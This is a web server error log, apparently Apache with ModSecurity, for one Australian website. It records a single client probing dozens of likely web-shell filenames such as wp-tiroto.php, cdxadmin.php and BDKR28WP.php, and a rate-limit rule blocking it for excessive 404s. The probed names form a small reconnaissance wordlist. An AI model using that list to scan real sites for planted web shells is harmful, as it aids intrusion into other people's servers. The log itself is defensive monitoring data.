[Thu May 14 04:48:03.808861 2026] [:error] [pid 11690:tid 11711] [client 52.139.38.158:47786] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agTjgynxWuLN8Hptw8leXAAAAMw"]
[Thu May 14 04:48:04.265862 2026] [:error] [pid 63033:tid 63036] [client 52.139.38.158:41665] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "agTjhFMY49UWn5BpqVYzeQAAAQE"]
[Thu May 14 04:48:05.039941 2026] [:error] [pid 11588:tid 11671] [client 52.139.38.158:47834] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "agTjhdUr21rOixkeGKb4LAAAAJM"]
[Thu May 14 04:48:05.628702 2026] [:error] [pid 11690:tid 11720] [client 52.139.38.158:59453] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "agTjhSnxWuLN8Hptw8leXwAAANU"]
[Thu May 14 04:48:06.429333 2026] [:error] [pid 11690:tid 11709] [client 52.139.38.158:41562] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "agTjhinxWuLN8Hptw8leYAAAAMo"]
[Thu May 14 04:48:06.946288 2026] [:error] [pid 11588:tid 11668] [client 52.139.38.158:47766] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agTjhtUr21rOixkeGKb4MAAAAJA"]
[Thu May 14 04:48:07.662064 2026] [:error] [pid 63033:tid 63053] [client 52.139.38.158:41626] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agTjh1MY49UWn5BpqVYzfAAAARI"]
[Thu May 14 04:48:08.392293 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:41646] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agTjiFMY49UWn5BpqVYzfQAAAQM"]
[Thu May 14 04:48:08.909176 2026] [:error] [pid 11690:tid 11721] [client 52.139.38.158:37451] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agTjiCnxWuLN8Hptw8leYgAAANY"]
[Thu May 14 04:48:09.528047 2026] [:error] [pid 63033:tid 63057] [client 52.139.38.158:59403] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agTjiVMY49UWn5BpqVYzggAAARY"]
[Thu May 14 04:48:10.230592 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:41653] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agTjilMY49UWn5BpqVYzhgAAAQk"]
[Thu May 14 04:48:11.388145 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:47760] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agTji1MY49UWn5BpqVYzigAAAQM"]
[Thu May 14 04:48:12.738215 2026] [:error] [pid 11581:tid 11616] [client 52.139.38.158:59747] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agTjjP0vF48FbzpvQMV_DgAAABM"]
[Thu May 14 04:48:13.773869 2026] [:error] [pid 11690:tid 11707] [client 52.139.38.158:41622] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agTjjSnxWuLN8Hptw8leZwAAAMg"]
[Thu May 14 04:48:14.688758 2026] [:error] [pid 11588:tid 11667] [client 52.139.38.158:49540] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agTjjtUr21rOixkeGKb4PAAAAI8"]
[Thu May 14 04:48:16.520492 2026] [:error] [pid 11588:tid 11654] [client 52.139.38.158:47827] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agTjkNUr21rOixkeGKb4QgAAAII"]
[Thu May 14 04:48:17.742675 2026] [:error] [pid 11690:tid 11705] [client 52.139.38.158:47865] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agTjkSnxWuLN8Hptw8leagAAAMY"]
[Thu May 14 04:48:19.577013 2026] [:error] [pid 63033:tid 63059] [client 52.139.38.158:37476] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTjk1MY49UWn5BpqVYzkQAAARg"]
[Thu May 14 04:48:23.370170 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:47756] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTjl1MY49UWn5BpqVYzlQAAAQ0"]
[Thu May 14 04:48:24.027689 2026] [:error] [pid 11690:tid 11702] [client 52.139.38.158:59744] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTjmCnxWuLN8Hptw8lebgAAAMM"]
[Thu May 14 04:48:27.804577 2026] [:error] [pid 63033:tid 63053] [client 52.139.38.158:59409] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTjm1MY49UWn5BpqVYzlwAAARI"]
[Thu May 14 04:48:30.997144 2026] [:error] [pid 11588:tid 11658] [client 52.139.38.158:41559] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agTjntUr21rOixkeGKb4XgAAAIY"]
[Thu May 14 04:48:34.369625 2026] [:error] [pid 11581:tid 11597] [client 52.139.38.158:59756] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agTjov0vF48FbzpvQMV_EwAAAAA"]
[Thu May 14 04:48:39.768331 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/ortasekerli1.php
[Thu May 14 04:48:39.977453 2026] [:error] [pid 63033:tid 63057] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Thu May 14 04:48:40.223305 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/cdxadmin.php
[Thu May 14 04:48:41.908326 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Thu May 14 04:48:43.769392 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Thu May 14 04:48:44.004005 2026] [:error] [pid 63033:tid 63043] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Thu May 14 04:48:44.216047 2026] [:error] [pid 63033:tid 63041] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu May 14 04:48:44.427212 2026] [:error] [pid 63033:tid 63040] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/tires.php
[Thu May 14 04:48:44.637108 2026] [:error] [pid 63033:tid 63050] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-tiroto.php
[Thu May 14 04:48:44.850072 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Thu May 14 04:48:45.059269 2026] [:error] [pid 63033:tid 63057] [client 52.139.38.158:47798] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu May 14 04:48:46.630712 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:47798] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agTjrlMY49UWn5BpqVYzxgAAARc"]
[Thu May 14 04:48:52.263032 2026] [:error] [pid 63033:tid 63054] [client 52.139.38.158:59752] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agTjtFMY49UWn5BpqVYzzAAAARM"]
[Thu May 14 04:48:53.149984 2026] [:error] [pid 11582:tid 11629] [client 52.139.38.158:47815] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agTjtfuw2cmFDpGcKhDLZwAAAEQ"]
[Thu May 14 04:48:53.853083 2026] [:error] [pid 11582:tid 11637] [client 52.139.38.158:47794] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agTjtfuw2cmFDpGcKhDLagAAAEw"]
[Thu May 14 04:48:54.339120 2026] [:error] [pid 11690:tid 11711] [client 52.139.38.158:47848] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "agTjtinxWuLN8Hptw8leoAAAAMw"]
[Thu May 14 04:48:55.021338 2026] [:error] [pid 63033:tid 63037] [client 52.139.38.158:36702] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "agTjt1MY49UWn5BpqVYz0AAAAQI"]
[Thu May 14 04:48:55.951309 2026] [:error] [pid 63033:tid 63051] [client 52.139.38.158:59441] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "agTjt1MY49UWn5BpqVYz1gAAARA"]
[Thu May 14 04:48:56.396567 2026] [:error] [pid 63033:tid 63052] [client 52.139.38.158:47839] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "agTjuFMY49UWn5BpqVYz2gAAARE"]
[Thu May 14 04:48:56.817915 2026] [:error] [pid 11588:tid 11665] [client 52.139.38.158:41615] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mifta.php"] [unique_id "agTjuNUr21rOixkeGKb4qQAAAI0"]
[Thu May 14 04:48:57.287092 2026] [:error] [pid 11588:tid 11669] [client 52.139.38.158:59417] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mifta.php"] [unique_id "agTjudUr21rOixkeGKb4rAAAAJE"]
[Thu May 14 04:48:57.891693 2026] [:error] [pid 11690:tid 11705] [client 52.139.38.158:47855] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mifta.php"] [unique_id "agTjuSnxWuLN8Hptw8lepAAAAMY"]
[Thu May 14 04:48:58.321459 2026] [:error] [pid 63033:tid 63059] [client 52.139.38.158:59734] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mifta.php"] [unique_id "agTjulMY49UWn5BpqVYz3QAAARg"]
[Thu May 14 04:48:58.740913 2026] [:error] [pid 63033:tid 63043] [client 52.139.38.158:59743] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "agTjulMY49UWn5BpqVYz3gAAAQg"]
[Thu May 14 04:48:59.164567 2026] [:error] [pid 63033:tid 63056] [client 52.139.38.158:47764] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "agTju1MY49UWn5BpqVYz4AAAARU"]
[Thu May 14 04:48:59.719026 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:59454] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "agTjuynxWuLN8Hptw8leqQAAANc"]
[Thu May 14 04:49:00.249809 2026] [:error] [pid 11581:tid 11610] [client 52.139.38.158:47792] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "agTjvP0vF48FbzpvQMV_MQAAAA0"]
[Thu May 14 04:49:01.929991 2026] [:error] [pid 11582:tid 11646] [client 52.139.38.158:59411] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "agTjvfuw2cmFDpGcKhDLbAAAAFU"]
[Thu May 14 04:49:02.846388 2026] [:error] [pid 63033:tid 63054] [client 52.139.38.158:47850] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "agTjvlMY49UWn5BpqVYz6gAAARM"]
[Thu May 14 04:49:03.384912 2026] [:error] [pid 11581:tid 11602] [client 52.139.38.158:59738] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "agTjv_0vF48FbzpvQMV_NQAAAAU"]
[Thu May 14 04:49:04.065719 2026] [:error] [pid 11690:tid 11716] [client 52.139.38.158:47802] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "agTjwCnxWuLN8Hptw8lerQAAANE"]
[Thu May 14 04:49:05.069432 2026] [:error] [pid 11581:tid 11601] [client 52.139.38.158:47782] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "agTjwf0vF48FbzpvQMV_NgAAAAQ"]
[Thu May 14 04:49:06.098333 2026] [:error] [pid 11581:tid 11613] [client 52.139.38.158:59733] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "agTjwv0vF48FbzpvQMV_NwAAABA"]
[Thu May 14 04:49:07.764561 2026] [:error] [pid 11582:tid 11631] [client 52.139.38.158:47835] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "agTjw_uw2cmFDpGcKhDLcQAAAEY"]
[Thu May 14 04:49:08.781939 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:47866] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "agTjxFMY49UWn5BpqVYz8gAAARc"]
[Thu May 14 04:49:10.257959 2026] [:error] [pid 63033:tid 63054] [client 52.139.38.158:41650] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "agTjxlMY49UWn5BpqVYz9AAAARM"]
[Thu May 14 04:49:12.071660 2026] [:error] [pid 63033:tid 63036] [client 52.139.38.158:47787] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "agTjyFMY49UWn5BpqVYz-AAAAQE"]
[Thu May 14 04:49:13.195065 2026] [:error] [pid 63033:tid 63051] [client 52.139.38.158:41643] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "agTjyVMY49UWn5BpqVYz_AAAARA"]
[Thu May 14 04:49:15.957292 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:41637] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "agTjy1MY49UWn5BpqVY0BQAAAQ0"]
[Thu May 14 04:49:18.031426 2026] [:error] [pid 11581:tid 11599] [client 52.139.38.158:47843] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "agTjzv0vF48FbzpvQMV_PQAAAAI"]
[Thu May 14 04:49:20.035870 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:47838] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "agTj0FMY49UWn5BpqVY0EQAAARc"]
